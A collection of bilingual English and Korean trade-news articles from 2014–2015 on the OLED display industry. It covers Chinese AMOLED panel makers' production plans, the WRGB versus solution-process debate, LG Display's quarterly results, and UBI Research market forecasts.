At present, Samsung Display is occupying over 90% of total mobile device display market. However, as Chinese panel companies are expected to actively begin mobile device AMOLED panel mass production from 2016, it is estimated that there will be a significant change to the market flow.

중국 panel업체, mobile용 디스플레이 시장의 중심으로 거듭날까?

Truly의 OLED panel 양산이 순조롭게 진행 중이다.  OFweek에 따르면 5월 20일 Truly의 Zhang Jintao 주석은 “AMOLED panel 생산 라인의 Phase 1은 6월에 완공될 예정이며, 관련 장비는 10월에 설치될 계획이다. 양산 관련 테스트들을 통과한 후, 생산 라인은 2016년 1분기에 가동될 예정이다.” 라고 밝혔다.

Truly는 2014년 5월에 EIA(Energy Information Administration)로부터 AMOLED project을 승인받았으며, 7월에 line 건설을 시작하였다. 투자비는 약 6,300만 위안이며, 양산을 위해 Samsung Display Gen4.5 line의 LTPS 장비를 구매하였고, SFA의 증착기를 발주하였다. 양산라인의 전체 면적은 310,000m2이며, 총 capa.는 30K이다.

중국의 mobile용 AMOLED panel업체는 Visionox와 EverDisplay, Tianma, Truly, BOE가 있다. Visionox와 EverDisplay는 각각 SNU Precision와 ULVAC의 생산용 증착 장비로 양산을 진행 중에 있으며, 현재 일부 업체에 panel을 공급하고 있는 것으로 나타났다. Tianma와 BOE는 2015년 2사분기 양산을 목표로 하고 있다.

현재 mobile용 디스플레이 시장은 삼성 디스플레이가 전체 시장의 90% 이상을 차지하고 있으나 2016년부터는 중국 panel업체들이 mobile용 AMOLED panel 양산을 본격적으로 시작될 것으로 전망되어 mobile용 AMOLED panel 시장 흐름에 큰 변화가 있을 것으로 예상된다.

Large Size OLED Panel Technology Match, ‘WRGB vs. Solution Process RGB’

Large size OLED panel is currently being mass produced by LG Display using WRGB method, and investment in this method for large size panel is being considered by OLED panel latecomers. Another method that can be used to produce OLED is RGB method. In 2013 Samsung Display mass produced using RGB method but halted the process due to problems in yield rate and technology. However, recently as key display companies are developing RGB method using solution process for large area OLED panel, latecomers are having to make a difficult choice in process selection.

 

OLED specialized panel company JOLED, established by JDI, Sony, Panasonic, and Innovation Network Corporation of Japan (INCJ), is aiming for mid-to-large size OLED panel production using solution process. Additionally, other companies including AUO, BOE, LG Display, and Samsung Display are developing large size OLED panel using solution process technology. In 2013, AUO presented 65 inch FHD panel that used solution process technology, and BOE revealed 30.5 inch FHD panel. Panasonic also presented solution process applied 4K panel.

 

According to 2015 White OLED Display Annual Report, published by UBI Research, WRGB method has an advantage in high mass production potential as open mask is used. However, due to the stack structure and color filter use, it has a disadvantage of increased panel production cost. On the other hand, the materials and process technology for solution process are not yet mature, but has the advantage of being able to produce large size OLED panel in Gen 8 size or larger without glass cutting using RGB method. It also can reduce the production cost as the material efficiency is high and does not require color filter.

 

At present the mass produced glass area by the latecomers forecast to manufacture large area AMOLED panel is expected to occupy approximately 30% of the total large area OLED market in 2020, and latecomers’ choice in technology investment will be a key point. Therefore, the large area panel technology leadership will be decided on whether WRGB and solution process methods can solve the issues that each has.

By DaRae Kim, reporter@olednet.co.kr

대면적 OLED panel 기술 승부 ‘WRGB vs. Solution process RGB’

대면적 OLED panel은 현재 LG Display가 WRGB방식으로 양산 중이며, 후발 OLED 패널업체들도 대면적 패널에서 WRGB 방식으로의 투자를 검토 중에 있다. OLED를 제조할 수 있는 또 다른 방식에는 RGB 방식이 있다. 2013년 삼성 디스플레이에서 RGB 방식으로 양산을 진행했지만 수율과 기술적인 문제로 중단한 적이 있다. 하지만, 최근 주요 디스플레이 업체에서 solution process를 이용한 RGB 방식으로 대면적 OLED 패널의 개발을 진행하면서 후발 업체들에게 공정 방식 선택에 대한 고민을 안기고 있다.

산업혁신기구(INCJ)와 JDI, Sony, Panasonic이  합작하여 설립한 OLED 전문 panel 업체인 JOLED는 solution process기술을 이용하여 중대형 OLED 패널을 생산하는 것을 목표로 하고 있다. 그 외에도, AUO, BOE, LG 디스플레이, 삼성 디스플레이 등이 solution process 기술을 이용한 대면적 OLED 패널을 개발하고 있다. AUO는 2013년 solution process 기술을 사용한 65인치 FHD 패널을 선보였으며, BOE도 30.5인치 FHD 패널을 공개하였다. 또한 Panasonic도 solution process를 사용한 4K 패널을 공개한 바 있다.

유비산업리서치에서 발간한 ‘2015 White OLED Display Annual Report’에 따르면 WRGB방식은 open mask를 사용하기 때문에 양산성이 높다는 장점이 있지만, 적층 구조과 color filter를 사용해서 패널 제조 원가가 상승하는 단점이 있다. solution process는 재료와 공정 기술이 성숙되지 않았지만, RGB 방식으로서 Gen8이상의 size에서 glass cutting없이 대면적 OLED 패널을 제작할 수 있으며, 재료 효율이 높고 color filter를 사용하지 않기 때문에 패널 제조 원가를 줄일 수 있는 장점이 있다.

현재 대면적 AMOLED 패널을 생산할 것으로 예상되는 후발업체들의 양산 glass area은 2020년 전체 대면적 OLED 시장의 약 33%가 될 것으로 전망되어 후발업체들의 투자기술 선정이 관건이 될 전망이다. 따라서 WRGB와 solution process가 가지고 있는 각각의 이슈를 해결하느냐에 따라 앞으로 대면적 패널의 기술 주도권의 향방이 갈릴 것으로 예상된다.

LG Display Reports Performance, Focus on Structure Differentiation Through OLED TV

On April 22, LG Display reported their first quarter of 2015 performance announcing their success in OLED TV market entrance with balanced results in mass production yield rate, timing, and management. They also revealed their panel production targets of 600,000 units this year, and 1,500,000 units in 2016.

 

LG Display’s CFO Sang-don Kim announced that “OLED TV was about technology innovation until last year, this year it will be innovation in consumers and yield rate, and by next year it will be decided whether it has popularization potential”. He added LG Display will “focus on increasing the business values rather than immediate profit and methodically proceed with OLED focused strategy for structural differentiation in large size display”. He also revealed LG Display will decide on additional investment after observing OLED TV market’s growth potential.

 

Regarding China’s BOE Gen10.5 investment, a recent issue, he forecast “much time is needed to begin set up and if Chinese companies run into problems while working on enlarging the display it is estimated that they will return to 30inch. Therefore LG Display’s large area panel sales will not be much affected”. He explained in regards to LG Display’s Gen10.5 large area LCD investment that it will be decided after careful examination considering the cost and market maturity.

 

LG Display also revealed a decrease in sales in small to mid-size display, such as tablet, due to seasonal factors. However for large size display, they announced as a result of improved performance, the total business profit recorded approx. 687 million USD, an 11% increase compared to the previous quarter (approx. 578 million USD), and showed surplus in business profit for the 12 consecutive quarters.

LG Display CFO Sang-don Kim

LG Display 실적 설명회 개최, OLED TV로 구조 차별화에 집중

LG Display는4월 22일 여의도 트윈타워에서 열린 2015년 1분기 실적 설명회에서 OLED TV의 시장 진입에 대해 양산 수율과 시기, 경영이 적절하게 조화된 성공적인 진입이라고 밝히며 panel 생산 목표는 올해 60만대, 내년 150만대라고 밝혔다.

이날 실적 발표회에서 LG Display CFO 김상돈 전무는 “OLED TV는 작년까지는 기술의 혁신, 올해는 고객과 수율의 혁신으로 내년까지 대중화의 가능성이 있는지가 판가름 날 것”이라며, “당장의 이익을 추구하기 보다 사업가치를 올리는데 집중할 것으로, 대면적 디스플레이에서 구조의 차별화를 위해 OLED에 집중하는 전략을 차근차근 진행할 것”이라 말하였다. 또한 OLED TV시장의 성장성을 보고 추가 투자에 대한 결정을 할 것이라 밝혔다.

최근 이슈가 되었던 중국 BOE의 Gen10.5 투자와 관련해서는 “셋업에 들어가기 위한 시간이 상당히 많이 필요할 것으로, 중국 업체들이 대면적화를 진행하는 도중 어려움에 봉착되면 30inch 생산으로 돌아갈 것으로 예상된다. 따라서 LG Display의 대면적 panel 매출에 큰 영향을 끼치지는 않을 것”이라고 전망하였다. LG Display의 Gen10.5 대면적 LCD 투자에 대해서는 cost 문제와 시장 성숙도를 고려해서 신중한 결정할 예정이라 밝혔다.

한편 LG Display는 태블릿 등 중소형 디스플레이에서는 계절적 요인에 의한 매출 감소가 있었으나, 대면적 디스플레이에서는 실적 호조로 전체 영업이익은 전분기(6,260억원) 대비 11% 오른 7,440 억원으로 12분기 연속 영업이익 흑자를 기록했다고 발표하였다.

LG Display 김상돈 전무

 

White OLED Display Market to Grow Rapidly to 150 Million Units Production in 2020

Large size OLED TV production is one of the hot issues within the display market. Although OLED has long been a focus for the next generation display, the market share of OLED display is still low. According to UBI Research, a market research company, despite the continued increase in OLED panel production volume and application scope, the point when it moves toward consumer market from producer market will be another leap for the display industry.

UBI Research’s White OLED Display Annual Report (published April 15, 2015) notes that mass production actualization of large size display using RGB structured OLED panel has not been possible due to the dead space from drooped effect. Therefore, UBI Research analyzed that the additional processes and investment cost in order to improve this increases the production cost resulting in decreased competitiveness.

Currently, OLED panel with WRGB structure is being regarded as the only technology that can achieve large size display. As key production companies revealed in SID 2014, concentrated efforts in WRGB OLED research and production resulted in approx. 80% of target yield. In 2015, supply rate is estimated to be 600 thousand units, a 40% increase from 2014, and 1.6 million units in 2016. Chinese key panel companies, led by AUO and BOE, also possess pilot lines for large area WRGB OLED panel mass production including Gen8. (Source: White OLED Display Annual Report, UBI Research)

Solution process applied technology is being developed in close pursuit of WRGB OLED, but UBI Research surmises that it will take 3~4 years for the active mass production competing with efficiency and merits of WRGB structure.

UBI Research forecast WRGB OLED’s unrivaled path will continue for another 5 years or so with approx. 150 million units of WRGB OLED display production out of over 1,000 million OLED display units in 2020. Large size white OLED display panel for TV market is expected to record approx. 1.6 million units in 2016 and grow to produce US$ 13,759M in revenue in 2020 (figures 1, 2).

If the selection of WRGB OLED can solve the RGB structure’s limit in large area panel mass production, possible active OLED TV production is anticipated. With the publication of UBI Research’s report the timing of this is expected to be a point of much discussion. Additionally, further analysis is needed on whether WRGB OLED is really the only technology for large size display, and if so for how long WRGB OLED’s peerless growth can last.

White OLED Display 시장 2020년 1억 5천만개 생산으로 급성장

대면적 OLED TV생산은 디스플레이 시장의 뜨거운 감자들 중 하나로 보여지고 있다. 차세대 디스플레이로 OLED가 주목 받은 지 오랜 시간이 지났지만 여전히 시장에 OLED 디스플레이가 사용된 제품 보급률은 높지 않은 것으로 나타난다. 시장조사업체인 유비산업리서치 관계자에 따르면 OLED 패널의 생산 볼륨 및 그 사용의 범위는 지속적으로 증가하고 있지만 생산자 마켓에서 소비자 마켓으로 넘어오는 시점이 디스플레이 산업의 또 다른 도약이 될 것이라고 한다.

유비산업리서치가 2015 4 15일 발간한 White OLED Display 연간 보고서에 따르면 그 동안 사용되어 오던 RGB 구조를 사용한 OLED 패널은 대면적 디스플레이를 생산할 경우 쳐짐 현상으로부터 발생하는 Dead Space가 생김으로써 양산이 현실화 되지 못해왔다. 따라서 이와 같은 현상을 개선하기 위해서 추가되는 공정과 그에 따른 투자비용의 증가는 패널 원가를 상승시킴에 따라 시장 경쟁력을 저하시키는 결과를 야기하게 된다고 분석했다.

현재, WRGB 구조를 사용한 OLED 패널은 대면적 디스플레이를 가능하게 하는 유일한 기술로 평가 받고 있으며 주요 생산 업체에서도 SID 2014에서 공개한 바와 같이 WRGB OLED 연구와 생산에 주력한 결과 약 80%에 달하는 목표 수율을 웃도는 결과를 보여주고 있는 것으로 조사되고 있다. 또한, 공급량 역시 작년 대비 약 40% 증가한 2015년 약 60만대, 2016년 약 160만대로 예상된다. 중국의 AUOBOE를 선두로 하는 주요패널 업체들에서도 대면적 WRGB OLED 패널 양산을 위한 Gen 8을 포함하는 파일럿 라인들을 보유하고 있다. (출처: 유비산업리서치 White OLED Display 연간 보고서)

Solution Process 방식을 적용한 기술이 WRGB OLED의 뒤를 바짝 추격하며 개발되고 있지만 WRGB 구조가 가지는 효율성과 장점과 경쟁하며 본격적인 양산이 시작되기까지는 약 3-4년의 시간이 필요하다는 것이 유비산업리서치의 분석이다.

유비산업리서치의 White OLED Display 연간 보고서에 따르면 WRGB OLED 의 독보적인 행보는 향후 약 5년간 지속될 것으로 예상되며 2020년에는 약10억개 이상의 OLED 디스플레이 생산량 중 약 15천만개가 WRGB OLED 디스플레이가 차지할 것으로 예상된다. (1) TV용 대면적 White OLED Display 패널시장은 2016년 약 160만개, 2020USD 13,759M까지 성장할 전망이다.(2)

WRGB OLED을 선택함으로써 RGB 구조가 가지는 대면적 패널 양산 한계점을 해결해 줄 수 있다면 앞으로 과연 OLED TV 생산은 본격화 될 것인가에 대한 전망이 기대되며 그 시점에 관한 논쟁은 이 보고서의 발간에 따라 한동안 이슈가 될 것으로 예상된다.

또한, 정말 WRGB OLED가 대면적 디스플레이 구현을 위한 유일한 기술이며, 그렇다면 WRGB OLED의 독보적인 행보는 언제까지 이어질 수 있을 것인가에 대한 분석이 요구된다.

Chinese Companies’ Aggressive Chase, BOE’s Active Secondary Investment for OLED

It was revealed that public tendering began regarding BOE’s 5.5G AM-OLED project on ICB Operator, a Chinese international tendering network site.

BOE possesses Gen 5.5 AMOLED line in Ordos, and is preparing mass production using SNU’s evaporator. It is analyzed that the additional investment regarding Gen 5.5 AMOLED project has been confirmed as SNU evaporator yield has mostly settled. It is estimated that BOE’s mass production of AMOLED panel for mobile will be able to begin earnestly in the second half of the year.

BOE, OLED Project Public Tender List

BOE, OLED Project Public Tender List

<Source: ICB Operator>

Chinese panel companies aiming for mass production of AMOLED panel for mobile in 2015 are Visionox, Truly, Tianma, and EverDisplay as well as BOE. Of these, EverDisplay is known to be already supplying panel’s sample base.

The focus is now on how the active mass production of Chinese OLED panel companies will affect the OLED industry which is currently being led by Korea’s Samsung Display and LG Display.

중국업체들의 거센 추격, BOE OLED 2차 투자 본격화

중국의 국제 입찰 네트워크 사이트인 ICB OperatorBOE 5.5G AM-OLED project에 대한 공개 입찰이 시작된 것으로 나타났다.

BOEOrdosGen 5.5의 ICB Operator line을 보유하고 있으며 SNU의 증착장비로 양산을 준비 중에 있다. 이번 Gen5.5 AMOLED project에 대한 추가투자는 SNU 증착장비의 수율이 어느 정도 안정화가 되었기 때문에 추가적인 투자를 결정한 것으로 분석되며, 올 하반기에는 BOEmobile AMOLED panel 양산이 본격적으로 시작 될 수 있을 것으로 예상된다.

BOE, OLED project 공개입찰 list

BOE, OLED project 공개입찰 list

<출처: ICB Operator>

2015mobileAMOLED panel 양산을 목표로 하고 있는 중국의 panel 업체는 BOE 이외에 Visionox Truly, Tianma, Everdisplay가 있으며, 이중 Everdisplay sample basepanel들일 이미 공급하고 있는 것으로 알려져 있다.

한국의 Samsung DisplayLG Display가 주도하고 있는 OLED 산업에 중국 OLED panel업체들의 본격적인 양산이 어떤 영향을 미칠지 업계의 관심이 집중될 것으로 예상된다.

 

Chinese Companies Begin Active OLED Panel Production Line Operation

The Chinese companies are estimated to begin active production of OLED panels, a market for which used to be dominated by Korean companies. Following this, the market for emitting materials for OLED panels also started shifting.

“OLED Emitting Material Annual Report”, published by UBI Research in March 2015, forecast that Chinese companies will begin mass production of AMOLED panel for mobile in second half of 2015, and large area panel from 2017. Together with China’s mass production of panel, emitting material market is estimated to grow into US$ 560 million in 2015, a 16% increase from 2014, and approximately US$ 2,500 million in 2020.

Emitting material companies that rely heavily on Samsung and LG’s panel mass production are anticipating supply chain advancement to China, and considering business expansion in China in order to increase revenue. Idemitsu Kosan is the most proactive and has already started supplying materials to BOE and Tianma. Duksan Neolux began supplying to BOE’s Ordos factory and deliberating on furthering business in China. (Source: Trend Analysis of Key Material Companies, 2015 OLED Emitting Material Annual Report)

With the expansion of panel market, increased competitiveness by Korean emitting material companies is required to acquire supply chain. This is also when Korean panel production companies need to obtain technology in order to retain their market share against Chinese companies.

Emitting Material Market Share by country: UBI Research

Emitting Material Market Share by country: UBI Research

<Emitting Material Market Share by country: UBI Research>

 

중국 업체들의 본격적인 OLED 패널 생산라인 가동시작

한국기업들의 독점시장이라해도 과언이 아니었던 OLED 패널 시장에 중국업체들의 본격적인 생산이 예견됨에 따라 OLED 패널에 사용되는 발광재료시장에도 움직임이 시작되고 있다.

2015년 3월 발간된 유비산업리서치의 “’OLED Emitting Material Annual Report’’’는 2015년 2분기부터 중국업체들의 Mobile용 AMOLED 패널양산이 시작되며 대면적 패널은 2017년부터 시작될 것으로 전망했다. 중국의 패널 양산과 더불어 발광재료시장 규모는 2015년 전년대비 16% 상승한 $560 M에서 2020년 약 $2,500 M까지 상승할 것으로 내다보고 있다.

현재 삼성과 LG의 패널양산에 큰 의존도를 보이고 있는 발광재료 업체들은 중국으로의 공급라인 확대를 기대하고 있으며 이에 따른 매출 증가를 위해 중국으로의 비즈니스확대를 고민하고 있다. 가장 적극적인 움직임을 보이고 있는 업체로는 Idemitsu Kosan 이 이미 BOE 와 Tianma 에 재료공급을 시작하였으며 덕산 네오룩스는 BOE Ordos 공장의 재료공급을 시작으로 중국 비즈니스 확대를 고민하고 있다. (출처 : ‘2015 OLED Emitting Material Annual Report’ 주요업체동향분석)

패널시장확대에 따른 국내 발광재료 업체들의 공급라인 확보를 위한 경쟁력강화가 요구되며 중국업체들의 패널시장 진출로 위협받는 국내 패널생산 기업들의 시장점유율 유지를 위한 기술력 확보가 요구되는 시점이다.

<Emitting Material Market Share by country: UBI Research>

 

 

Universal Display, concluded a contract to supply PHOLED material to BOE

A Taiwanese IT medium, Digitimes, reported that Universal Display Corporation (UDC) had announced its expanded evaluation agreement for PHOLED material supply to BOE.

Chairman of BOE, Wang Dong sheng said, “UDC is a leading company that supplies PHOLED material. We will lead the development of the OLED industry with partners including UDC by establishing a close cooperative relation.”

BOE is developing panels and modules for 55” AMOLED TV with oxide TFT and WRGB in Gen8 pilot line in Hefei, and displayed 55” FHD AMOLED panel at SID 2014. It also plans to mass-produce small and medium size AMOLED panel from the AMOLED line in Ordos in the latter half of this year.

140703_SID2014에서 BOE가 공개한 55inch AMOLED

 

<BOE’s 55” AMOLED panel at SID2014>

[SID 2014] Latecomers catching up aggressively

AMOLED latecomers; BOE, AUO and Tianma are rapidly catching up the AMOLED development of Samsung Display (SDC) and LG Display (LGD) at SID 2014.

BOE expressed possibility of investing in TV following mobiles by displaying 55” FHD AMOLED panel. In terms of technology readiness level, it is incompatibly lower than panels of LGD and SDC though, it is considerably fast that it was developed in six months and produced in a pilot line in Hefei.

AUO showed that its AMOLED technology had reached at certain level by unveiling 5.7” WQHD (513ppi) ultra-high resolution AMOLED panel. More attention drew towards AUO’s panel because its production method is RGB+FMM as SDC uses and the high resolution is realized with real RGB strip type rather pentile. AUO also expressed its will on AMOLED business by showing 5” HD flexible AMOLED panel and 1.6” AMOLED panel for a smart watch.

Tianma also unveiled 5.5” HD AMOLED panel. Its performance lags behind the current AMOLED panel, but it ai    ms to supply middle-end and low-end panel targeting mass-production of 5.5” FHD AMOLED through continuous R&D.

Challenges of Chinese and Taiwanese makers become serious in the AMOLED market, where Korean makers, SDC and LGD, are dominant, and the latecomers are about to invest in the sector. Thus, it is expected that the AMOLED industry will constantly grow.

<BOE’s55ich FHD OLED panel>

 <AUO’s 5.7inch FHD AMOLED panel>

<AUO’s 5inch HD flexible AMOLED panel>

<Tianma’s 5.5inch HD AMOLED panel>